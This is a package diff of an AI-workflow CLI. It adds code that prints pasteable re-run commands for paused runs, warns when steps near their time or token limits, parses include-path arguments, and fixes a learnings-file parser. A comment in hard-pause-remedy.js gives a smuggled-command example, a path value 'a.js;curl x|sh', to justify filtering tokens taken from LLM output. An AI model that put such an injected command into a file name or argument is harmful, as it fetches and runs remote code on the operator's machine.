@hone-ai/cli 1.33.0 → 1.35.0

package/lib/hard-pause-remedy.js

@@ -0,0 +1,101 @@
+'use strict';
+/**
+ * hard-pause-remedy.js — HC-GF-263: render a paused run's parsed context request.
+ *
+ * The CLI prints the truncated `errorMessage` at a pause and nothing else, and on a HUMAN_GATE
+ * outcome it prints no reason at all (`⏳ Step … — awaiting approval`). The server now records
+ * what the step ASKED FOR in `workflow_step_results.failure_record.context_requests`, projected
+ * by the existing GET diagnostics allowlist. This turns it into one pasteable line.
+ *
+ * PURE: data in, strings out. No fs, no console, no process.
+ *
+ * TOLERANT OF AN OLDER SERVER BY CONSTRUCTION. A missing `diagnostics`, a null `failure_record`,
+ * a `context_requests` of the wrong shape and an empty `paths` all return null, which is today's
+ * output. That is what makes the deploy order free: server-first works because the CLI ignores
+ * the new key, CLI-first works because the key is simply absent.
+ */
+
+/**
+ * The request belonging to the step the run is PAUSED AT, or null.
+ *
+ * SCOPED TO `currentStep`, NOT "the newest step that has one". `failure_record` is durable, so
+ * once step_1 hard-pauses with a remedy that row keeps it for the life of the run. A reverse
+ * scan over every step then prints step_1's files at an unrelated step_4 gate — a command
+ * attributed to nothing, at a step that asked for nothing.
+ *
+ * That is HC-GF-047's lesson one layer up, and orchestrator.js quotes it verbatim: "a
+ * stale-but-plausible instruction is worse than none, because the builder acts on it". A
+ * printed re-queue command is exactly the kind an operator acts on without re-deriving it.
+ *
+ * Returning null for a gate with no request of its own is correct and is today's output.
+ *
+ * @param {object} status  a GET /orchestrate/:runId payload, straight off the network and
+ *                         therefore not trusted to have any particular shape
+ * @returns {{stepKey: string, paths: Array<object>, truncated: boolean}|null}
+ */
+function remedyFor(status) {
+  const s = (status && typeof status === 'object') ? status : {};
+  const steps = Array.isArray(s.steps) ? s.steps : [];
+  const step = steps.find((x) => x && typeof x === 'object' && x.stepKey === s.currentStep);
+  if (!step) return null;
+  const diag = step.diagnostics;
+  if (!diag || typeof diag !== 'object') return null;
+  const rec = diag.failure_record;
+  if (!rec || typeof rec !== 'object') return null;
+  const req = rec.context_requests;
+  if (!req || typeof req !== 'object' || Array.isArray(req)) return null;
+  const paths = Array.isArray(req.paths) ? req.paths.filter((p) => p && p.path) : [];
+  if (paths.length === 0) return null;
+  return { stepKey: step.stepKey, paths, truncated: req.truncated === true };
+}
+
+/**
+ * H5 — THIS MODULE IS THE TRUST BOUNDARY. Every token it prints came out of an LLM artifact, and
+ * the line it builds exists to be pasted into a shell. The agent's input is not trusted either:
+ * bundled adopter source and the story text (which can come from a GitHub issue) both reach it,
+ * so a "path" like `a.js;curl x|sh` or one carrying a terminal escape is a plausible artifact.
+ *
+ * DROP AND COUNT, never shell-quote. A token outside this set is far likelier to be a parse
+ * artifact than a real filename, and a silently quoted oddity is a command that runs and does
+ * nothing. A LEADING DASH is refused too: `--include-paths -rf` parses as an option, not a path.
+ * The parser upstream stays total — it records what the agent wrote; only printing is guarded.
+ */
+const SAFE_TOKEN = /^[\w./:@+-]+$/;
+const SAFE_STORY_ID = /^[\w.-]+$/;
+
+function tokenOf(p) {
+  return p.raw || (p.anchor ? `${p.path}:${p.anchor}` : p.path);
+}
+
+function isSafeToken(t) {
+  return typeof t === 'string' && t.length > 0 && SAFE_TOKEN.test(t) && !t.startsWith('-');
+}
+
+/** Split requested paths into the ones safe to print and the ones dropped, so a caller can say so. */
+function partitionSafePaths(paths) {
+  const list = Array.isArray(paths) ? paths.filter((p) => p && p.path) : [];
+  const safe = [];
+  const dropped = [];
+  for (const p of list) (isSafeToken(tokenOf(p)) ? safe : dropped).push(p);
+  return { safe, dropped };
+}
+
+/**
+ * One ready-to-paste command, built from the SAFE paths only.
+ *
+ * REPEATED FLAGS, not a comma list: `collectIncludePaths` accumulates every occurrence
+ * (HC-GF-202), and the repeated form is what the CLI's own warning already tells operators to
+ * use. `raw` is preferred over re-joining path+anchor so a `path:symbol` anchor survives exactly
+ * as the agent wrote it.
+ *
+ * A missing OR UNSAFE storyId renders the literal `<story-id>` — a command that visibly needs one
+ * edit beats one that looks correct and is not, or one that runs something else.
+ */
+function renderIncludePathsCommand(storyId, paths) {
+  const { safe } = partitionSafePaths(paths);
+  if (safe.length === 0) return '';
+  const id = storyId && SAFE_STORY_ID.test(String(storyId)) ? String(storyId) : '<story-id>';
+  return `hone run-story ${id} ${safe.map((p) => `--include-paths ${tokenOf(p)}`).join(' ')}`;
+}
+
+module.exports = { remedyFor, renderIncludePathsCommand, partitionSafePaths };

package/lib/headroom.js

@@ -0,0 +1,63 @@
+'use strict';
+/**
+ * HC-GF-089 — how close a step came to its limits, said before it hits one.
+ *
+ * The largest local build used 793s of its 900s limit and nothing said so. Until now the only way to
+ * learn where a limit bites was to hit it: HC-GF-114 exists because the cut-off path had never fired
+ * in the entire run history, and reaching it took lowering a cap by hand. A run one slow story away
+ * from a timeout should say so while it still completes.
+ *
+ * ADVISORY by construction. This never blocks, never routes back and never changes a verdict — it
+ * prints. A signal that could fail a run would need a far higher bar than "approaching a limit", and
+ * a warning that reads like a rejection trains operators to ignore it.
+ */
+
+/** HC-GF-080's per-message output cap — what the CLI child actually runs with. */
+const TOKEN_CAP_PER_MESSAGE = 128_000;
+
+/** Three quarters. Low enough to give a story's worth of warning, high enough not to fire routinely. */
+const THRESHOLD = 0.75;
+
+/** A ratio, or null when there is nothing to judge — a missing limit is not a limit of zero. */
+function ratio(used, limit) {
+  const u = Number(used);
+  const l = Number(limit);
+  if (!Number.isFinite(u) || !Number.isFinite(l) || l <= 0 || u < 0) return null;
+  return u / l;
+}
+
+/**
+ * One line when a step passed THRESHOLD of its time or per-message token budget, else null.
+ * @param {object} generation HC-GF-079's generation report, as stored on the step row.
+ */
+function headroomLine(generation) {
+  const g = generation && typeof generation === 'object' ? generation : {};
+
+  const timeRatio = ratio(g.elapsed_ms, g.timeout_ms);
+  // The BUSIEST message decides: a build whose last message nearly filled the cap is at risk even
+  // when the earlier ones were small, and an average would hide exactly that.
+  const counts = (Array.isArray(g.output_tokens) ? g.output_tokens : [])
+    .map(Number).filter((n) => Number.isFinite(n) && n >= 0);
+  const busiest = counts.length ? Math.max(...counts) : null;
+  const tokenRatio = busiest === null ? null : ratio(busiest, TOKEN_CAP_PER_MESSAGE);
+
+  const parts = [];
+  if (timeRatio !== null && timeRatio >= THRESHOLD) {
+    parts.push(`time ${Math.round(timeRatio * 100)}% `
+      + `(${Math.round(Number(g.elapsed_ms) / 1000)}s of ${Math.round(Number(g.timeout_ms) / 1000)}s)`);
+  }
+  if (tokenRatio !== null && tokenRatio >= THRESHOLD) {
+    parts.push(`tokens ${Math.round(tokenRatio * 100)}% `
+      + `(${busiest} of ${TOKEN_CAP_PER_MESSAGE} in one message)`);
+  }
+  if (!parts.length) return null;
+  // HC-GF-129: the threshold has no upper bound, so every ratio from 75% to infinity used to get
+  // the same reassurance. On run 692b0c29 a call that ran 550,017ms against a 550,000ms ceiling —
+  // it TIMED OUT, `complete: false`, the build was cut off — was reported as "not over it".
+  // At or past 1.0 the limit was reached, and saying otherwise is simply false.
+  const over = (timeRatio !== null && timeRatio >= 1) || (tokenRatio !== null && tokenRatio >= 1);
+  return `headroom: ${parts.join(', ')} — `
+    + (over ? 'the limit was REACHED: this call was cut off' : 'close to the limit, not over it');
+}
+
+module.exports = { headroomLine, TOKEN_CAP_PER_MESSAGE, THRESHOLD };

package/lib/include-paths.js

@@ -0,0 +1,155 @@
+'use strict';
+/**
+ * `--include-paths` is the operator's escape hatch when the bundler cannot see a
+ * file the story needs. HC-GF-202: it accepted only ONE form.
+ *
+ * The option is declared `<paths>`, single-valued and comma-separated, so
+ * commander keeps the LAST occurrence when the flag is repeated. The planner's
+ * own refusal printed `--include-paths Makefile --include-paths scripts/`, which
+ * therefore resolved to `"scripts/"` and silently dropped `Makefile` — an
+ * operator who followed the instruction exactly received a byte-identical bundle
+ * to having passed nothing at all. Measured twice, 7,621 chars each.
+ *
+ * Both forms are now accepted. The advice the planner prints is correct and is
+ * the cheapest escape hatch the bundler has; the flag honours it.
+ */
+
+/**
+ * commander collector: accumulate every occurrence instead of replacing.
+ * Declared as `.option('--include-paths <paths>', desc, collectIncludePaths, [])`.
+ */
+function collectIncludePaths(value, previous) {
+  return (Array.isArray(previous) ? previous : []).concat([value]);
+}
+
+/**
+ * Normalise whatever the flag produced into an ordered, de-duplicated path list.
+ * Accepts a bare string (comma form), an array (repeated flags), or a mix.
+ */
+function parseIncludePaths(raw) {
+  if (raw === undefined || raw === null) return [];
+  const parts = Array.isArray(raw) ? raw : [raw];
+  const out = [];
+  for (const part of parts) {
+    for (const piece of String(part).split(',')) {
+      const p = piece.trim();
+      // An empty entry would become a candidate path of '', which existsSync
+      // answers false for — a silent no-op indistinguishable from a typo.
+      if (!p) continue;
+      if (!out.includes(p)) out.push(p);
+    }
+  }
+  return out;
+}
+
+/**
+ * Split one `--include-paths` entry into the file and the region inside it.
+ *
+ * HC-GF-205: `planFileExcerpt` honours a `line`, and the bundler's own shortfall
+ * notice tells the operator to "name them as `path:<line>` to bundle one
+ * directly". But the flag added the RAW string as a candidate path, so
+ * `cli/hone-cli.js:8500` was looked up as a filename, `existsSync` said no, and
+ * the entry vanished with no message — the file then fell back to inferred
+ * anchors and bundled the same wrong regions. The remedy the tool printed was a
+ * form the tool did not accept.
+ *
+ * A SYMBOL is accepted as well as a line. The refusals name symbols ("the block
+ * that calls `provisionWorktree`"); an operator can copy one out of a refusal,
+ * but to use the numeric form they must open the file and count.
+ *
+ * Deliberately strict: only a positive integer is a line, and only a JS-style
+ * identifier is a symbol. Anything else stays part of the path, because
+ * reinterpreting a malformed entry is how a typo becomes a silent no-op.
+ */
+function parseIncludeTarget(entry) {
+  const raw = String(entry === undefined || entry === null ? '' : entry).trim();
+  const mLine = raw.match(/^(.+):(\d+)$/);
+  if (mLine && Number(mLine[2]) > 0) {
+    return { raw, path: mLine[1], line: Number(mLine[2]), symbol: null };
+  }
+  const mSym = raw.match(/^(.+):([A-Za-z_$][\w$]*)$/);
+  if (mSym) return { raw, path: mSym[1], line: null, symbol: mSym[2] };
+  return { raw, path: raw, line: null, symbol: null };
+}
+
+/**
+ * Split include-path entries into those whose FILE exists and those that resolve
+ * to nothing. HC-GF-205: an entry that resolves to no file used to be dropped in
+ * silence, which is indistinguishable from it having been bundled — six attempts
+ * were spent before anyone noticed the flag had done nothing.
+ */
+function partitionIncludeTargets(entries, exists) {
+  const resolved = [];
+  const missing = [];
+  for (const entry of parseIncludePaths(entries)) {
+    const target = parseIncludeTarget(entry);
+    (exists(target.path) ? resolved : missing).push(target);
+  }
+  return { resolved, missing };
+}
+
+/**
+ * Every line a file is EXPLICITLY anchored at, the operator's first — HC-GF-288.
+ *
+ * The bundler kept one line per file and filled it story-first, so an operator's
+ * `--include-paths f.js:N` for a file the story already cited as `f.js:M` was discarded
+ * with no message and M bundled again. Measured on run 31f78a92: five other anchors were
+ * honoured and `cli/hone-cli.js:6180` produced the same five regions as a run without it.
+ * An operator names a region because the bundle lacked it, usually on the pipeline's own
+ * advice (HC-GF-263 prints the command), so ignoring it repeats the refusal that prompted it.
+ *
+ * ALONGSIDE, NOT INSTEAD. The story's line stays, after the operator's: it is the region the
+ * agent already had and asked for MORE than, and dropping it trades one refusal for another.
+ * That is HC-GF-216's rule one layer up: a stated line seeds the spread, it never replaces it.
+ *
+ * A symbol resolves against the file's contents, so it can only be resolved here. One that
+ * does not resolve is returned in `unresolved`, never dropped in silence.
+ *
+ * @param {{path: string, content: string, operator?: Array<{raw: string, line: number|null, symbol: string|null}>, storyLine?: number|null}} input
+ * @returns {{anchors: Array<{line: number, raw: string, source: 'operator'|'story'}>, unresolved: Array<{raw: string, reason: string}>}}
+ */
+function statedAnchorsFor({ path: filePath, content, operator = [], storyLine = null } = {}) {
+  const { definitionIndexOf } = require('./bundle-paths');
+  const text = String(content || '');
+  const anchors = [];
+  const unresolved = [];
+  const add = (line, raw, source) => {
+    if (!anchors.some((a) => a.line === line)) anchors.push({ line, raw, source });
+  };
+  for (const t of Array.isArray(operator) ? operator : []) {
+    if (t.line) { add(Number(t.line), t.raw, 'operator'); continue; }
+    if (!t.symbol) continue;
+    const idx = definitionIndexOf(text, t.symbol);
+    if (idx === -1) { unresolved.push({ raw: t.raw, reason: 'symbol not found in the file' }); continue; }
+    add(text.slice(0, idx).split('\n').length, t.raw, 'operator');
+  }
+  if (storyLine) add(Number(storyLine), `${filePath}:${storyLine}`, 'story');
+  return { anchors, unresolved };
+}
+
+/**
+ * One warning per stated anchor the excerpt planner could not honour — HC-GF-288.
+ *
+ * Named by what the operator TYPED (`raw`), so a `path:symbol` entry is reported as the
+ * symbol they passed, not as a line number they never saw.
+ *
+ * @param {Array<{line: number, raw: string, source: string}>} anchors  from statedAnchorsFor
+ * @param {Array<{line: number, reason: string, totalLines: number}>} unhonoured  from planFileExcerpt
+ * @returns {string[]}
+ */
+function anchorWarnings(anchors, unhonoured) {
+  const out = [];
+  for (const u of Array.isArray(unhonoured) ? unhonoured : []) {
+    const a = (anchors || []).find((x) => x.line === u.line);
+    const who = a && a.source === 'story' ? `story reference '${a.raw}'` : `--include-paths '${a ? a.raw : u.line}'`;
+    out.push(u.reason === 'past-eof'
+      ? `  \u26a0 ${who} — the file has ${u.totalLines} lines; line ${u.line} does not exist, not anchored`
+      : `  \u26a0 ${who} — NOT bundled: this file's stated regions exceed its per-file cap; name fewer regions in it`);
+  }
+  return out;
+}
+
+module.exports = {
+  collectIncludePaths, parseIncludePaths, parseIncludeTarget, partitionIncludeTargets,
+  statedAnchorsFor, anchorWarnings,
+};

package/lib/learnings-parse.js

@@ -122,8 +122,13 @@ function parseLearningsFile(content, opts = {}) {
   // LC-001: validateCategory may throw on malformed enum value. Catch and
   // surface as parseError rather than crashing the whole file walk.
   try {
-    if (schema === SCHEMA_A) return { schema, eligible: parseSchemaA(parsed, includePromoted), warning };
-    if (schema === SCHEMA_B) return { schema, eligible: parseSchemaB(parsed, includePromoted), warning };
+    // HC-GF-208: `warning` is not handed on by the A and B paths because it cannot
+    // exist there. It is set only for a non-array object carrying BOTH arrays: A
+    // requires Array.isArray(parsed), which that test excludes, and had both arrays
+    // been present C would have won detection, so B never sees one either. Passing a
+    // field that is always undefined reads like a carried value and is not one.
+    if (schema === SCHEMA_A) return { schema, eligible: parseSchemaA(parsed, includePromoted) };
+    if (schema === SCHEMA_B) return { schema, eligible: parseSchemaB(parsed, includePromoted) };
     if (schema === SCHEMA_C) return { schema, eligible: parseSchemaC(parsed, includePromoted), warning };
     if (schema === SCHEMA_D) return { schema, eligible: parseSchemaD(parsed, includePromoted), warning };
   } catch (e) {
@@ -150,9 +155,21 @@ function parseSchemaA(items, includePromoted = false) {
       // LC-001: optional categorization fields (G2 partial). All optional;
       // default null. validateCategory throws on malformed enum.
       category: validateCategory(i.category),
+      // HC-GF-264: `targetOf` checks `target_skill` FIRST and calls it "the most specific statement
+      // of intent there is". None of these four maps carried it, so that branch never executed in
+      // this repo and routing fell through to `agent` — the field that records who NOTICED.
+      // Measured 2026-09-24: 203 of 775 items set it and 150 routed elsewhere. This is HC-GF-159a's
+      // defect recurring on the field that fix introduced: it added `target_skill` to
+      // `PROMOTED_FIELDS` and to `targetOf`, and not to the parsers that feed them.
+      target_skill: i.target_skill || null,
       referenced_skill: i.referenced_skill || null,
       referenced_section: i.referenced_section || null,
       evidence: Array.isArray(i.evidence) ? i.evidence : (i.evidence ? [i.evidence] : null),
+      // HC-GF-159a: the legacy list format routes like the others. No file in this repo uses it,
+      // which is why its handoffs went unasserted — but an adopter's older files still can.
+      type: i.type || null,
+      agent: i.agent || null,
+      proposed_fix: typeof i.proposed_fix === 'string' ? i.proposed_fix : null,
     }));
 }
 
@@ -181,6 +198,10 @@ function parseSchemaB(doc, includePromoted = false) {
       // `candidate_for` already serves the role of referenced_skill, so
       // we fall back to it when the explicit field is absent.
       category: validateCategory(c.category),
+      // HC-GF-264. Deliberately no `|| c.candidate_for` here: `candidate_for` says which skill the
+      // work applied, which is what `referenced_skill` below already borrows it for. Reusing it as a
+      // destination would invent an intent the author did not state.
+      target_skill: c.target_skill || null,
       referenced_skill: c.referenced_skill || c.candidate_for || null,
       referenced_section: c.referenced_section || null,
       evidence: Array.isArray(c.evidence) ? c.evidence : (c.evidence ? [c.evidence] : null),
@@ -211,9 +232,15 @@ function parseSchemaC(doc, includePromoted = false) {
       _schema: SCHEMA_C,
       // LC-001: optional categorization fields (G2 partial).
       category: validateCategory(l.category),
+      target_skill: l.target_skill || null,             // HC-GF-264
       referenced_skill: l.referenced_skill || null,
       referenced_section: l.referenced_section || null,
       evidence: Array.isArray(l.evidence) ? l.evidence : (l.evidence ? [l.evidence] : null),
+      // HC-GF-159a: the source YAML has carried these all along; dropping them here is why every
+      // promoted learning reached the server with `type: unknown` and no agent or fix text.
+      type: l.type || null,
+      agent: l.agent || null,
+      proposed_fix: typeof l.proposed_fix === 'string' ? l.proposed_fix : null,
     }));
 }
 
@@ -245,9 +272,15 @@ function parseSchemaD(doc, includePromoted = false) {
     enterprise_candidate: true,
     _schema: SCHEMA_D,
     category: validateCategory(doc.category),
+    target_skill: doc.target_skill || null,           // HC-GF-264
     referenced_skill: doc.referenced_skill || null,
     referenced_section: doc.referenced_section || null,
     evidence: Array.isArray(doc.evidence) ? doc.evidence : (doc.evidence ? [doc.evidence] : null),
+    // HC-GF-159a: 119 of the 418 eligible learnings are Schema D. A fix covering only Schema C
+    // leaves those routing to 'general'.
+    type: doc.type || null,
+    agent: doc.agent || null,
+    proposed_fix: typeof doc.proposed_fix === 'string' ? doc.proposed_fix : null,
   }];
 }
 
@@ -279,7 +312,11 @@ function escapeRegex(s) {
 function writeBackA(content, ids) {
   for (const id of ids) {
     const escaped = escapeRegex(id);
-    const idPattern = new RegExp(`(id:\\s*${escaped}[\\s\\S]*?status:\\s*)pending`, 'm');
+    // HC-GF-208: the gap below is lazy but was unbounded, so when the named item has
+    // no `status:` of its own it ran on to the NEXT item's and marked the WRONG
+    // learning promoted, leaving the named one pending forever. Stop at the next
+    // top-level `- id:` line, which is where this item's block ends.
+    const idPattern = new RegExp(`(id:\\s*${escaped}(?:(?!\\n- id:)[\\s\\S])*?status:\\s*)pending`, 'm');
     if (idPattern.test(content)) {
       content = content.replace(idPattern, '$1promoted');
     }
@@ -355,16 +392,24 @@ function rewriteWithStatusInsertion(content, matcher) {
     if (!r.matched) continue;
 
     // Look ahead through this item's block to detect existing status.
-    let hasStatus = false;
+    let statusIdx = -1;
     for (let j = i + 1; j < lines.length; j++) {
       const next = lines[j];
       // End of block: next sibling id line at the same-or-lesser list indent.
       if (/^ {2,}- id:/.test(next)) break;
       // End of block: a non-indented (top-level) line means we've left the array.
       if (/^\S/.test(next)) break;
-      if (/^ {4,}status:\s*\S/.test(next)) { hasStatus = true; break; }
+      if (/^ {4,}status:\s*\S/.test(next)) { statusIdx = j; break; }
     }
-    if (!hasStatus) out.push(`${r.indent}status: promoted`);
+    if (statusIdx === -1) { out.push(`${r.indent}status: promoted`); continue; }
+    // HC-GF-208: an existing status line used to end the matter, so a learning
+    // authored with `status: pending` could never be flipped — it stayed eligible
+    // and was re-promoted on every run, while the write still reported success
+    // because the content came back byte-identical. Rewrite pending in place.
+    // Any other state (promoted, retracted) is deliberate and left alone: a
+    // retracted learning must not be silently re-promoted.
+    const st = lines[statusIdx].match(/^(\s*status:\s*)pending\s*$/);
+    if (st) lines[statusIdx] = `${st[1]}promoted`;
   }
   return out.join('\n');
 }